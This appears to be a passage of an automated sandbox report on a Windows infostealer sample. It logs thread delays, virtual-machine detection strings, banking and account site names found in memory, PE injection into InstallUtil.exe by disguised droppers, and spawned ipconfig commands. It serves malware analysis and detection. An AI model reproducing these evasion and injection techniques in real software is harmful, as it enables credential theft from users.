Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98262
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98047
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97391
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96366
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96247
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95921
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95093
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99843
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99730
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99623
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99515
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99406
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99296
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99164
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99015
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98763
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98656
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98547
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98437
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98328
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98218
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98109
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97890
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97781
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97671
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97562
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97453
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97343
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97234
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97112
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96984
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96875
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96765
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96652
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96519
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96281
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95984
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95796
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95684
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95578
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95468
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95359
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95250
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95137
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95016
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94906
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94796
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94636
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94531
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99874
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99765
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99547
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99422
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99312
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 99198
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98609
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98481
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98359
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98232
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 98083
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97954
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97812
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97703
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97593
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97462
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97344
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97219
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 97107
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96984
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96875
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96765
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96656
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96547
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96437
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96287
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96164
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 96044
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95922
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95797
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95676
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95547
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95437
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95328
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95219
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 95094
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94984
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94873
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94765
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94643
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94516
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94391
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94266
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94156
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 94047
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 93937
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 93828
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Thread delayed: delay time: 93714
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477

Source: tmp3509.tmp.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: tmp3509.tmp.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: tmp3509.tmp.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: tmp3509.tmp.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tmp3509.tmp.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: tmp3509.tmp.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: tmp3509.tmp.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tmp3509.tmp.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tmp3509.tmp.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: InstallUtil.exe, 00000022.00000002.2551008010.0000000001035000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll,
Source: tmp3509.tmp.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: tmp3509.tmp.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: tmp3509.tmp.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: tmp3509.tmp.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: tmp3509.tmp.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tmp3509.tmp.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 6RE1Z857ae.exe, 00000000.00000002.2196588124.0000000001248000.00000004.00000020.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2367939209.0000000000738000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2439185938.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2459838452.0000000000C39000.00000004.00000020.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2535830395.000000000129D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.3360649755.0000000005433000.00000004.00000020.00020000.00000000.sdmp, build.exe, 00000020.00000002.2554424860.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2768654573.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2851121971.0000000000787000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmp3509.tmp.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: tmp3509.tmp.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: tmpD11A.tmp.5.dr	Binary or memory string: IVHSHTCODIPNTGBCHMNVKPUAILXVVKFKXVQUNCFXTBCMTEBSWXPFTMDSDGZKIAUVKOEHSXZJBPMNMGEXTJPAOEMDPTHXRQCVOULRHOXNLLEVOYSUUHJKHUBLKPVUBOWNNNYIVERGXUJXWHARSIBRHIALJWVNJGCJFSWTYNFAKHFKMWIXKIPPQTBKLVLJABTXJJAUPFFIWTLSIBHYUFUKBTZFKZOHSTUPFMPQIOKLVDQRVIJQOGXFVCXVTHXYBRKEFKTAYEVEEJSDTODNKYUKIFEJTGSCOFEGJFXUFFTUDUGNPSDSFNCYGRUOKLHTZSRYLVFROHKDEBPBTMLYGSXGAHMMJCCAHNNTHTJYHYJSYCEYHNZYLYPZZRKQCBEKCIJOMVDKLIMUKHNBXCTWEOWAPIZLIROXKDWVWPAJXRXLLBZPLBODFKBOAAIGTICFSLICMIRMFQVAOXHGTZBMVNEYHPFMVMCIZMYUKDQAJPPKRYFMFYBBZZUDRZUAXHAETNILYTWGZWXKMVYVQPTHACYZNPNUTFPXHLZGFMCFPKGKXZBEMNDEMMSUCIJVEEZVVTNLALWSOOIQWNDNBYFXIMXSYSGIHDKBLTQNHGZBSABJNNCDWHLHGGLULQOHIPDWXBOSOZDGSJICPXZOMIEHQNITIKIXBHUHPYBVDEESQCONQTQTGDIDHFZLNHGHGBNMCJMHPFYAEFORSGPQVZXVNVTODPAYYBGVVJXOQSOXDEYRXFEQHHZXPIKKKAYEDXYKYANMXDXCYRRYSRYIHJTRQILRXNGCFCDERRCTAPDWXXOUTNWBDGRIXGZFWOPASEDDSDMQOIHQDMFZFHVAKVPOTYYQXENYUVBZWKYSVATRNDKTBQJKCBIUQOGVVRSKQRXEZOQAFWIQOTGVRLVGJCXQRXZRDCAHGTXVJAEUKUYANEGPRLWIUCPMSVVQZZMIBQKJKZRROZREPQAHYLRVAFUIGNUGSAQAMAZEHHGHFNSBQQBZOSFYEVJOWSCRJNDOYFYNDGPN
Source: tmp3509.tmp.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: tmp3509.tmp.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: tmp3509.tmp.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tmp3509.tmp.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: tmp3509.tmp.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: tmp3509.tmp.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: tmp3509.tmp.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: tmp3509.tmp.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: tmp3509.tmp.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: tmp3509.tmp.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Yftssfzf.exe, 0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: build.exe, 00000005.00000002.2295067932.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: tmp3509.tmp.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Yftssfzf.exe, 0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000007.00000002.2199718697.00000000010A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
Source: tmp3509.tmp.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: tmp3509.tmp.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: tmp3509.tmp.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: build.exe.0.dr, NativeHelper.cs	Reference to suspicious API methods: LoadLibrary("kernel32")
Source: build.exe.0.dr, NativeHelper.cs	Reference to suspicious API methods: GetProcAddress(hModule, "GetConsoleWindow")
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, NativeMethods.cs	Reference to suspicious API methods: OpenProcessToken(hProcess, desiredAccess, out var TokenHandle)

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 820000 value starts with: 4D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 416000	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 418000	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: AF5008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 416000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 418000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: FD8008
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 416000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 418000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: DE5008
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 820000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 822000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 892000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 894000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 706008
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 472000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 474000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 98F008
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 472000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 474000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1164008

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe "C:\Users\user\AppData\Local\Temp\Plain_Checker.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
